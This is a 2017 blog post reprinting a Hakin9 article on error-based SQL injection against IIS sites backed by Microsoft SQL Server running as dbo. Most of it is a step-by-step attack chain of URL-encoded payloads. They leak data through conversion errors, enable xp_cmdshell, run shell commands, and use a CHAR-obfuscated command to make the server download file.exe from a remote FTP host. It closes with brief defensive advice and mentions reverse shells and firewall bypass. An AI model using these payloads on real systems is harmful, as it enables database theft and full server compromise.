Tuesday 27 June 2017

Ivan Ricart Borges - Advanced SQL Injection - IIS & DBO


Explanatory Note

This article doesn't attempt to explain a new technique of compromising computer systems, the technique of SQL Injection is very old and known but at the same time can be very powerful. The article also doesn't reflect the exploit of an unknown vulnerability, this is known and has already been reported, which if can reflect are unpublished advanced mechanisms of sql injection that can be used by malicious users to obtain critical information and take advantage of it to gain complete control of a computer system.

Combining this technique with an IIS Web Server with elevated user permissions (DBO) in the Microsoft SQL Server database can lead to complete loss of control of the affected server.

This article will attempt to explain the potential risk caused by misconfiguration of an SQL database that interacts with an external web page through an IIS Web Server and give details of how malicious users can benefit from it.


Short Summary (wikipedia)

SQL Injection is a code injection technique, used to attack data-driven applications, in which nefarious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.


Vulnerability

Assuming that in the web page there are security problems with the passing of parameters to allow SQL Injection, the main problem is that the IIS Web Server is able to display critical information to the user by using an invalid Transact-SQL conversion function. Imagine the following URL where the id parameter allows injection.

https://www.victim.com/index.aspx?id=1

A malicious user could override the value of the id parameter by the Transact-SQL convert function
convert(int, (SELECT+USER));--

The final URL would be of this style:

https://www.victim.com/index.aspx?id=convert(int, (SELECT+USER));--

Analyzing the value of the id parameter we can say:

convert( );
Transact-SQL
Conversion function
SELECT+USER
SQL Query
Get the current database user
+
Sign
In a URL indicates the hexadecimal character %20 (space)
--
Sign
SQL comments to inhibit the following instructions

The conversion function tries to convert a string to integer, which causes an exception where the IIS Web Server makes a serious error showing the value of the executed query.

A typical output would be something like this:

Conversion failed when converting the nvarchar value '{user}' to data type int.

As we can see the {user} value corresponds to the current value of the user of the database, in addition to all of this if the value returned is dbo will tell us that the database user has maximum execution privileges, so that will be able to execute shell commands using the xp_cmdshell Transact-SQL function.

Using a web page with a database user with maximum privileges is a serious security error where system administrators should not fall.

In summary, could say that vulnerability consists of three factors:
  • Error in handling the GET/POST parameters that allow SQL Injection. (Software Developer)
  • IIS Web Server that displays the conversion function information. (Microsoft)
  • Use a database user in the web page with maximum privileges. (System Administrator/Software Developer)


Points to consider

The execution of the SQL statements are made on the machine where the Microsoft SQL Server is installed and may not be the same server where the IIS Web Server is installed.

Case 1)

Case 2)



Get a numeric value

As we have seen, the vulnerability is to use the Transact-SQL convert function, but if we want to get a numeric value the conversion function will be correct and therefore the IIS Web Server will not display the error.

To solve this problem we can concatenate the numeric value returned by the query with a string and then carry out the conversion process, in this way we will force the conversion function to fail.

The sign to concatenate strings in Microsoft SQL Server is +. Imagine the following URL where the id parameter allows injection.

https://www.victim.com/index.aspx?id=convert(int,'num rows: '+convert(nvarchar,(SELECT COUNT(*) FROM table)));--

In this example, the IIS Web Server will display the number of rows in the table through the string num rows: {x}.

But there is a small error in the previous example, the + sign will conflict with the interpretation of the space, therefore we must escape it by the hexadecimal notation %2B.

The final URL would be of this style:

https://www.victim.com/index.aspx?id=convert(int,'num rows: '%2Bconvert(nvarchar,(SELECT COUNT(*) FROM table)));--


Errors with strings

According to the typology of the codification of the SQL statement in the webpage, the character of simple quote can cause syntax errors, because of this we can escape the sentences by using the function Transact-SQL char, which will return the ASCII character according to the number passed as a parameter.

Imagine that we want to escape the string 'num rows: ', the result value would be:

CHAR(110)+CHAR(117)+CHAR(109)+CHAR(32)+CHAR(114)+CHAR(111)+CHAR(119)+CHAR(115)+
CHAR(58)+CHAR(32)

To translate the URL of the previous point we can use a SELECT subquery and escape the + sign with the hexadecimal notation %2B.

https://www.victim.com/index.aspx?id=convert(int,(SELECT CHAR(110)%2BCHAR(117)%2BCHAR(109)%2BCHAR(32)%2BCHAR(114)%2BCHAR(111)%2BCHAR(119)%2BCHAR(115)%2BCHAR(58)%2BCHAR(32))%2Bconvert(nvarchar,(SELECT COUNT(*) FROM table)));--


Check status xp_cmdshell

To check if the dbo user has permissions to execute the Transact-SQL function xp_cmdshell can run these SQL queries:
  • SELECT value FROM master.sys.configurations WHERE name = 'show advanced options'
  • SELECT value FROM master.sys.configurations WHERE name = 'xp_cmdshell'

In both cases the answer must be 1, otherwise the attacker should pre-activate these modules in order to execute commands in the shell.

Using the previous methods to display numerical values, the queries would look like this:

https://www.victim.com/index.aspx?id=convert(int,'show advanced options: '+convert(nvarchar,(SELECT value FROM master.sys.configurations WHERE name = 'show advanced options')));--

https://www.victim.com/index.aspx?id=convert(int,'xp_cmdshell: '+convert(nvarchar,(SELECT value FROM master.sys.configurations WHERE name = 'xp_cmdshell')));--

The escaped sentence with victim url should be this way:

https://www.victim.com/index.aspx?id=convert(int,(SELECT CHAR(115)%2BCHAR(104)%2BCHAR(111)%2BCHAR(119)%2BCHAR(32)%2BCHAR(97)%2BCHAR(100)%2BCHAR(118)%2BCHAR(97)%2BCHAR(110)%2BCHAR(99)%2BCHAR(101)%2BCHAR(100)%2BCHAR(32)%2BCHAR(111)%2BCHAR(112)%2BCHAR(116)%2BCHAR(105)%2BCHAR(111)%2BCHAR(110)%2BCHAR(115)%2BCHAR(58)%2BCHAR(32))%2Bconvert(nvarchar,(SELECT value FROM master.sys.configurations WHERE name = (SELECT CHAR(115)%2BCHAR(104)%2BCHAR(111)%2BCHAR(119)%2BCHAR(32)%2BCHAR(97)%2BCHAR(100)%2BCHAR(118)%2BCHAR(97)%2BCHAR(110)%2BCHAR(99)%2BCHAR(101)%2BCHAR(100)%2BCHAR(32)%2BCHAR(111)%2BCHAR(112)%2BCHAR(116)%2BCHAR(105)%2BCHAR(111)%2BCHAR(110)%2BCHAR(115)))));--

https://www.victim.com/index.aspx?id=convert(int,(SELECT CHAR(120)%2BCHAR(112)%2BCHAR(95)%2BCHAR(99)%2BCHAR(109)%2BCHAR(100)%2BCHAR(115)%2BCHAR(104)%2BCHAR(101)%2BCHAR(108)%2BCHAR(108)%2BCHAR(58)%2BCHAR(32))%2Bconvert(nvarchar,(SELECT value FROM master.sys.configurations WHERE name = (SELECT CHAR(120)%2BCHAR(112)%2BCHAR(95)%2BCHAR(99)%2BCHAR(109)%2BCHAR(100)%2BCHAR(115)%2BCHAR(104)%2BCHAR(101)%2BCHAR(108)%2BCHAR(108)))));--

* These options are enabled by default in Microsoft SQL Server 2000.


Enable xp_cmdshell

If the previous statements returns 0, the attacker could activate the modules using the following SQL statement:

EXEC master.dbo.sp_configure "show advanced options", 1; RECONFIGURE; EXEC master.dbo.sp_configure "xp_cmdshell", 1; RECONFIGURE;--

To execute these queries with the Transact-SQL EXEC function, we can concatenate the original value of the injectable parameter.

https://www.victim.com/index.aspx?id=1;EXEC master.dbo.sp_configure "show advanced options", 1; RECONFIGURE; EXEC master.dbo.sp_configure "xp_cmdshell", 1; RECONFIGURE;--

In this case if the statements were executed correctly without any type of error, the IIS Web Server should display the original page.

Then the attacker could return to query the values ​​through the queries seen in the previous section to check if the modules have been activated correctly.


List files/directories

Through xp_cmdshell module activated an attacker can execute any type of shell command, with the only restriction that will not be able to see the results of your execution without using more complex techniques that will be detailed below.

Because the xp_cmdshell Transact-SQL function normally returns more than one row in query, when the conversion process is performed using the Transact-SQL convert function, an error occurs indicating that multiple rows can not be converted, so the attacker have no way to visualize if what are doing is performing correctly.

Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression.

An attacker could use a technique to filter the information and force the query to return a single line, for example, using the find command to filter the information, but it would be very cumbersome to do in each command, in addition, it may not filter correctly and the command returns multiple rows.

For example in this case could get the location of the root system of the operating system.

set | find /I "SystemRoot"

The execution of the previous command could be done by:

https://www.victim.com/index.aspx?id=1;EXEC master.dbo.xp_cmdshell 'set | find /I "SystemRoot"';--

But this way we could not see the corresponding output because the attacker would only be executing the command, in order to see the output should use a SELECT query.

To achieve that the attacker could store the output information of the Transact-SQL xp_cmdshell function  in a temporary table, through:
  • Creating a temporary table with a single row and column using FOR XML PATH
  • Create a temporary table with all the information of the query and an autonumeric field

In both cases write permissions are required in the database.

Although it would be much easier for the attacker to view the information through the first section because it is stored in a single row and column, and therefore the Transact-SQL conversion function would be direct, due to version compatibility issues and size of the data, will be used in the second section, although this will cause as many subqueries as there are rows stored in the table.

The main idea is to store the information of the shell command in a temporary table and later iteratively visualize the information by subqueries filtering by the autonumeric field, causing the failure in each of the subqueries using the Transact-SQL conversion function.

To carry out this process an attacker could follow these steps:
  • Run the query and store it in a temporary table
  • Query the number of rows in the temporary table
  • Perform subqueries by filtering through the autonumeric field, causing the conversion failure.

The first step could be done using the following SQL query:

DECLARE @cmd VARCHAR(8000); SET @cmd = 'dir c:\'; IF OBJECT_ID('tmp_xp_cmdshell', 'U') IS NOT NULL DROP TABLE tmp_xp_cmdshell; CREATE TABLE tmp_xp_cmdshell(field_pk int IDENTITY(1,1), field_output VARCHAR(8000)); INSERT INTO tmp_xp_cmdshell(field_output) EXEC master.dbo.xp_cmdshell @cmd;--

In the previous statement a cmd variable is declared separately to allow it to escape, both the declaration and the initialization are performed in two steps to maintain compatibility with all versions of Microsoft SQL Server, subsequently create a table with an autonumeric field and another with the output information, finally it executes the command and it is stored in the table.

The escaped sentence with victim url should be this way:

https://www.victim.com/index.aspx?id=1;DECLARE @cmd VARCHAR(8000); SET @cmd %3D (SELECT CHAR(100)%2BCHAR(105)%2BCHAR(114)%2BCHAR(32)%2BCHAR(99)%2BCHAR(58)%2BCHAR(92)); IF OBJECT_ID((SELECT CHAR(116)%2BCHAR(109)%2BCHAR(112)%2BCHAR(95)%2BCHAR(120)%2BCHAR(112)%2BCHAR(95)%2BCHAR(99)%2BCHAR(109)%2BCHAR(100)%2BCHAR(115)%2BCHAR(104)%2BCHAR(101)%2BCHAR(108)%2BCHAR(108)), (SELECT CHAR(85))) IS NOT NULL DROP TABLE tmp_xp_cmdshell; CREATE TABLE tmp_xp_cmdshell(field_pk int IDENTITY(1,1), field_output VARCHAR(8000)); INSERT INTO tmp_xp_cmdshell(field_output) EXEC master.dbo.xp_cmdshell @cmd;-- 

The second step could be done using the following SQL query:

convert(int,'num rows: '+convert(nvarchar,(SELECT COUNT(*) FROM tmp_xp_cmdshell)));--

In this case the number of rows of the temporary table is obtained, in this way it can be iterated in a recursive way by filtering by the autonumeric field.

The escaped sentence with victim url should be this way:

https://www.victim.com/index.aspx?id=convert(int,(SELECT CHAR(110)%2BCHAR(117)%2BCHAR(109)%2BCHAR(32)%2BCHAR(114)%2BCHAR(111)%2BCHAR(119)%2BCHAR(115)%2BCHAR(58)%2BCHAR(32))%2Bconvert(nvarchar,(SELECT COUNT(*) FROM tmp_xp_cmdshell)));--

The last step could be done using the following SQL query:

convert(int,(SELECT field_output FROM tmp_xp_cmdshell WHERE field_pk = {1}));--

In this case should perform as many subqueries as the number obtained in the previous query, replacing the parameter {1} with an incremental value of 1..n.

Each of these subqueries will result in the corresponding line of the command executed using the Transact-SQL xp_cmdshell function.

The escape statement with victim url should be this way:

https://www.victim.com/index.aspx?id=convert(int,(SELECT field_output FROM tmp_xp_cmdshell WHERE field_pk = 1));--

https://www.victim.com/index.aspx?id=convert(int,(SELECT field_output FROM tmp_xp_cmdshell WHERE field_pk = 2));--

...

https://www.victim.com/index.aspx?id=convert(int,(SELECT field_output FROM tmp_xp_cmdshell WHERE field_pk = n));--

Each of the previous statements would return an output similar to this:

Conversion failed when converting the nvarchar value '2017/06/27 11:46    <DIR>          .' to data type int.

Conversion failed when converting the nvarchar value '2017/06/27 11:46    <DIR>          ..' to data type int.

...

Conversion failed when converting the nvarchar value '2017/06/27 11:46    <DIR>          WINDOWS' to data type int.


Upload files

A malicious user could use these techniques to upload documents to the server, to achieve this should only execute commands in the shell so that the server will connect to a remote ftp server and download the desired document.

Imagine the case that we want the server to connect to a remote FTP server called ftp.remote.com to download a file called file.exe with user ftp_user and password ftp_passwd.

The shell command to achieve this could be:

echo open ftp.remote.com 21 > ftp.tmp && echo ftp_user >> ftp.tmp && echo ftp_passwd >> ftp.tmp && echo user ftp_user ftp_passwd >> ftp.tmp && echo quote pasv >> ftp.tmp && echo binary >> ftp.tmp && echo get file.exe >> ftp.tmp && echo disconnect >> ftp.tmp && echo quit >> ftp.tmp && ftp -s:ftp.tmp && del ftp.tmp

The escaped sentence with victim url should be this way:

https://www.victim.com/index.aspx?id=1;DECLARE @cmd VARCHAR(8000); SET @cmd %3D (SELECT CHAR(101)%2BCHAR(99)%2BCHAR(104)%2BCHAR(111)%2BCHAR(32)%2BCHAR(111)%2BCHAR(112)%2BCHAR(101)%2BCHAR(110)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(46)%2BCHAR(114)%2BCHAR(101)%2BCHAR(109)%2BCHAR(111)%2BCHAR(116)%2BCHAR(101)%2BCHAR(46)%2BCHAR(99)%2BCHAR(111)%2BCHAR(109)%2BCHAR(32)%2BCHAR(50)%2BCHAR(49)%2BCHAR(32)%2BCHAR(62)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(46)%2BCHAR(116)%2BCHAR(109)%2BCHAR(112)%2BCHAR(32)%2BCHAR(38)%2BCHAR(38)%2BCHAR(32)%2BCHAR(101)%2BCHAR(99)%2BCHAR(104)%2BCHAR(111)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(95)%2BCHAR(117)%2BCHAR(115)%2BCHAR(101)%2BCHAR(114)%2BCHAR(32)%2BCHAR(62)%2BCHAR(62)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(46)%2BCHAR(116)%2BCHAR(109)%2BCHAR(112)%2BCHAR(32)%2BCHAR(38)%2BCHAR(38)%2BCHAR(32)%2BCHAR(101)%2BCHAR(99)%2BCHAR(104)%2BCHAR(111)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(95)%2BCHAR(112)%2BCHAR(97)%2BCHAR(115)%2BCHAR(115)%2BCHAR(119)%2BCHAR(100)%2BCHAR(32)%2BCHAR(62)%2BCHAR(62)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(46)%2BCHAR(116)%2BCHAR(109)%2BCHAR(112)%2BCHAR(32)%2BCHAR(38)%2BCHAR(38)%2BCHAR(32)%2BCHAR(101)%2BCHAR(99)%2BCHAR(104)%2BCHAR(111)%2BCHAR(32)%2BCHAR(117)%2BCHAR(115)%2BCHAR(101)%2BCHAR(114)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(95)%2BCHAR(117)%2BCHAR(115)%2BCHAR(101)%2BCHAR(114)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(95)%2BCHAR(112)%2BCHAR(97)%2BCHAR(115)%2BCHAR(115)%2BCHAR(119)%2BCHAR(100)%2BCHAR(32)%2BCHAR(62)%2BCHAR(62)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(46)%2BCHAR(116)%2BCHAR(109)%2BCHAR(112)%2BCHAR(32)%2BCHAR(38)%2BCHAR(38)%2BCHAR(32)%2BCHAR(101)%2BCHAR(99)%2BCHAR(104)%2BCHAR(111)%2BCHAR(32)%2BCHAR(113)%2BCHAR(117)%2BCHAR(111)%2BCHAR(116)%2BCHAR(101)%2BCHAR(32)%2BCHAR(112)%2BCHAR(97)%2BCHAR(115)%2BCHAR(118)%2BCHAR(32)%2BCHAR(62)%2BCHAR(62)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(46)%2BCHAR(116)%2BCHAR(109)%2BCHAR(112)%2BCHAR(32)%2BCHAR(38)%2BCHAR(38)%2BCHAR(32)%2BCHAR(101)%2BCHAR(99)%2BCHAR(104)%2BCHAR(111)%2BCHAR(32)%2BCHAR(98)%2BCHAR(105)%2BCHAR(110)%2BCHAR(97)%2BCHAR(114)%2BCHAR(121)%2BCHAR(32)%2BCHAR(62)%2BCHAR(62)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(46)%2BCHAR(116)%2BCHAR(109)%2BCHAR(112)%2BCHAR(32)%2BCHAR(38)%2BCHAR(38)%2BCHAR(32)%2BCHAR(101)%2BCHAR(99)%2BCHAR(104)%2BCHAR(111)%2BCHAR(32)%2BCHAR(103)%2BCHAR(101)%2BCHAR(116)%2BCHAR(32)%2BCHAR(102)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(46)%2BCHAR(101)%2BCHAR(120)%2BCHAR(101)%2BCHAR(32)%2BCHAR(62)%2BCHAR(62)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(46)%2BCHAR(116)%2BCHAR(109)%2BCHAR(112)%2BCHAR(32)%2BCHAR(38)%2BCHAR(38)%2BCHAR(32)%2BCHAR(101)%2BCHAR(99)%2BCHAR(104)%2BCHAR(111)%2BCHAR(32)%2BCHAR(100)%2BCHAR(105)%2BCHAR(115)%2BCHAR(99)%2BCHAR(111)%2BCHAR(110)%2BCHAR(110)%2BCHAR(101)%2BCHAR(99)%2BCHAR(116)%2BCHAR(32)%2BCHAR(62)%2BCHAR(62)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(46)%2BCHAR(116)%2BCHAR(109)%2BCHAR(112)%2BCHAR(32)%2BCHAR(38)%2BCHAR(38)%2BCHAR(32)%2BCHAR(101)%2BCHAR(99)%2BCHAR(104)%2BCHAR(111)%2BCHAR(32)%2BCHAR(113)%2BCHAR(117)%2BCHAR(105)%2BCHAR(116)%2BCHAR(32)%2BCHAR(62)%2BCHAR(62)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(46)%2BCHAR(116)%2BCHAR(109)%2BCHAR(112)%2BCHAR(32)%2BCHAR(38)%2BCHAR(38)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(32)%2BCHAR(45)%2BCHAR(115)%2BCHAR(58)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(46)%2BCHAR(116)%2BCHAR(109)%2BCHAR(112)%2BCHAR(32)%2BCHAR(38)%2BCHAR(38)%2BCHAR(32)%2BCHAR(100)%2BCHAR(101)%2BCHAR(108)%2BCHAR(32)%2BCHAR(102)%2BCHAR(116)%2BCHAR(112)%2BCHAR(46)%2BCHAR(116)%2BCHAR(109)%2BCHAR(112)); IF OBJECT_ID((SELECT CHAR(116)%2BCHAR(109)%2BCHAR(112)%2BCHAR(95)%2BCHAR(120)%2BCHAR(112)%2BCHAR(95)%2BCHAR(99)%2BCHAR(109)%2BCHAR(100)%2BCHAR(115)%2BCHAR(104)%2BCHAR(101)%2BCHAR(108)%2BCHAR(108)), (SELECT CHAR(85))) IS NOT NULL DROP TABLE tmp_xp_cmdshell; CREATE TABLE tmp_xp_cmdshell(field_pk int IDENTITY(1,1), field_output VARCHAR(8000)); INSERT INTO tmp_xp_cmdshell(field_output) EXEC master.dbo.xp_cmdshell @cmd;--

As we have seen in the previous section, the attacker could list the current directory to see that the document has been downloaded correctly.


Other shell commands

Once an attacker has control of a remote shell can make any type of configuration on the system, similarly could create system users, add them to the administrator group, activate the terminal server service, get a more comfortable remote shell through the netcat program using a reverse shell connection ...

Seems a lie but an attacker could even create a small executable program to redirect visible ports from the outside to internal ports (overlapping on top of a service), thus skipping possible firewall rules and obtain for example a remote desktop.


Scanner & Exploit program

To carry out the relevant tests I have developed a program implementing the techniques described above, plus some others that I have not described, and so I can get my own conclusions.

Today 27 June 2017 there are still many computer systems with this type of vulnerability, because of that, I cannot publish it to avoid possible malicious uses, even so the source code of version 1.0 to test the existence of the vulnerability is published in https://github.com/iricartb/advanced-sql-injection-scanner


Conclusions

It is important try to control all input methods of users and not to fall into the error of managing a web page with elevated user permissions, we have already seen in the previous examples how a malicious user could get to gain control of the whole system and even compromise the security of the internal network.

Publication

This article has been published by the security IT magazine Hakin9.

Magazine Vol.12 No.14 Open Source Tools - Pag 94 - 106

- Marta Sienicka - sienicka.marta@hakin9.com -

No comments:

Post a Comment